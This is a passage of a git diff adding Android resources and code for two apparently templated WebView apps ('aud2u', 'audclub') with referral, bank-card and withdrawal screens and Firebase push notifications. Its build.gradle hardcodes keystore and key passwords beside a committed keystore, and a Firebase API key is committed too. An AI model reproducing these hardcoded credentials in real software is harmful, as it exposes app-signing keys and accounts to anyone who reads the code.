a/aud2u/src/main/res/drawable-xxhdpi/ic_action_back.png b/aud2u/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/aud2u/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/aud2u/src/main/res/drawable/big_bg.xml b/aud2u/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..50d378d --- /dev/null +++ b/aud2u/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/drawable/ic_launcher_background.xml b/aud2u/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/aud2u/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/aud2u/src/main/res/drawable/input_bg.xml b/aud2u/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/aud2u/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/aud2u/src/main/res/drawable/pass_word_bg.xml b/aud2u/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/aud2u/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/aud2u/src/main/res/drawable/pass_word_bg1.xml b/aud2u/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/aud2u/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/drawable/pass_word_bg2.xml b/aud2u/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/aud2u/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/drawable/shape_btn_bg.xml b/aud2u/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/aud2u/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/drawable/shape_dialog_bg2.xml b/aud2u/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/aud2u/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/drawable/shape_dialog_bg3.xml b/aud2u/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/aud2u/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/drawable/shape_dialog_bg_new.xml b/aud2u/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/aud2u/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/aud2u/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/aud2u/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/aud2u/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/aud2u/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/mipmap-hdpi/ic_empty.png b/aud2u/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/aud2u/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/aud2u/src/main/res/mipmap-hdpi/ic_pull_down.png b/aud2u/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/aud2u/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/aud2u/src/main/res/mipmap-xhdpi/ic_close.png b/aud2u/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/aud2u/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/aud2u/src/main/res/mipmap-xhdpi/ic_menu.png b/aud2u/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/aud2u/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/aud2u/src/main/res/mipmap-xxhdpi/app_logo.jpg b/aud2u/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..7afa1df Binary files /dev/null and b/aud2u/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/aud2u/src/main/res/values-en/strings.xml b/aud2u/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/aud2u/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/aud2u/src/main/res/values-night/themes.xml b/aud2u/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/aud2u/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/values/colors.xml b/aud2u/src/main/res/values/colors.xml new file mode 100644 index 0000000..0b8af07 --- /dev/null +++ b/aud2u/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #101010 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/aud2u/src/main/res/values/strings.xml b/aud2u/src/main/res/values/strings.xml new file mode 100644 index 0000000..2649e96 --- /dev/null +++ b/aud2u/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + AUD2U + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/values/themes.xml b/aud2u/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/aud2u/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/xml/app_updater_paths.xml b/aud2u/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/aud2u/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/xml/network_security_config.xml b/aud2u/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/aud2u/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/aud2u/src/main/res/xml/provider_paths.xml b/aud2u/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/aud2u/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/aud2u/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/aud2u/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/aud2u/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/audclub/.gitignore b/audclub/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/audclub/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/audclub/build.gradle b/audclub/build.gradle new file mode 100644 index 0000000..48bc8e7 --- /dev/null +++ b/audclub/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.audclub" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "audclub" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/audclub/google-services.json b/audclub/google-services.json new file mode 100644 index 0000000..42f403f --- /dev/null +++ b/audclub/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "24481910191", + "project_id": "audclub", + "storage_bucket": "audclub.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:24481910191:android:395c8182e3eaef3b90b35a", + "android_client_info": { + "package_name": "com.web.audclub" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBZzbJ0QqWfdo8l1w1DJVG7EO4CYdWSGaI" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/audclub/ppn.jks b/audclub/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/audclub/ppn.jks differ diff --git a/audclub/proguard-rules.pro b/audclub/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/audclub/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/audclub/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/audclub/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/audclub/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/audclub/src/main/AndroidManifest.xml b/audclub/src/main/AndroidManifest.xml new file mode 100644 index 0000000..c507aa0 --- /dev/null +++ b/audclub/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/audclub/src/main/java/com/web/audclub/MainActivity.java b/audclub/src/main/java/com/web/audclub/MainActivity.java new file mode 100644 index 0000000..85216ea --- /dev/null +++ b/audclub/src/main/java/com/web/audclub/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.audclub; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 160; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://audclub.asia/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#c68e31"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#081922"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/audclub/src/main/java/com/web/audclub/MyFirebaseMessageingService.java b/audclub/src/main/java/com/web/audclub/MyFirebaseMessageingService.java new file mode 100644 index 0000000..f2753bc --- /dev/null +++ b/audclub/src/main/java/com/web/audclub/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.audclub; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/audclub/src/main/java/com/web/audclub/WebApplication.java b/audclub/src/main/java/com/web/audclub/WebApplication.java new file mode 100644 index 0000000..01d758c --- /dev/null +++ b/audclub/src/main/java/com/web/audclub/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.audclub; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/audclub/src/main/res/drawable-anydpi/ic_action_back.xml b/audclub/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/audclub/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/audclub/src/main/res/drawable-hdpi/ic_action_back.png b/audclub/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/audclub/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/audclub/src/main/res/drawable-mdpi/ic_action_back.png b/audclub/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/audclub/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/audclub/src/main/res/drawable-v24/ic_launcher_foreground.xml b/audclub/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/audclub/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/drawable-xhdpi/ic_action_back.png b/audclub/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/audclub/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/audclub/src/main/res/drawable-xxhdpi/ic_action_back.png b/audclub/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/audclub/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/audclub/src/main/res/drawable/big_bg.xml b/audclub/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..11b4342 --- /dev/null +++ b/audclub/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/audclub/src/main/res/drawable/ic_launcher_background.xml b/audclub/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/audclub/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/audclub/src/main/res/drawable/input_bg.xml b/audclub/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/audclub/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/audclub/src/main/res/drawable/pass_word_bg.xml b/audclub/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/audclub/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/audclub/src/main/res/drawable/pass_word_bg1.xml b/audclub/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/audclub/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/drawable/pass_word_bg2.xml b/audclub/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/audclub/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/drawable/shape_btn_bg.xml b/audclub/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/audclub/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/drawable/shape_dialog_bg2.xml b/audclub/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/audclub/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/drawable/shape_dialog_bg3.xml b/audclub/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/audclub/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/drawable/shape_dialog_bg_new.xml b/audclub/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/audclub/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/audclub/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/audclub/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/audclub/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/audclub/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/mipmap-hdpi/ic_empty.png b/audclub/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/audclub/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/audclub/src/main/res/mipmap-hdpi/ic_pull_down.png b/audclub/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/audclub/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/audclub/src/main/res/mipmap-xhdpi/ic_close.png b/audclub/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/audclub/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/audclub/src/main/res/mipmap-xhdpi/ic_menu.png b/audclub/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/audclub/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/audclub/src/main/res/mipmap-xxhdpi/app_logo.jpg b/audclub/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..3a9264d Binary files /dev/null and b/audclub/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/audclub/src/main/res/values-en/strings.xml b/audclub/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/audclub/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on 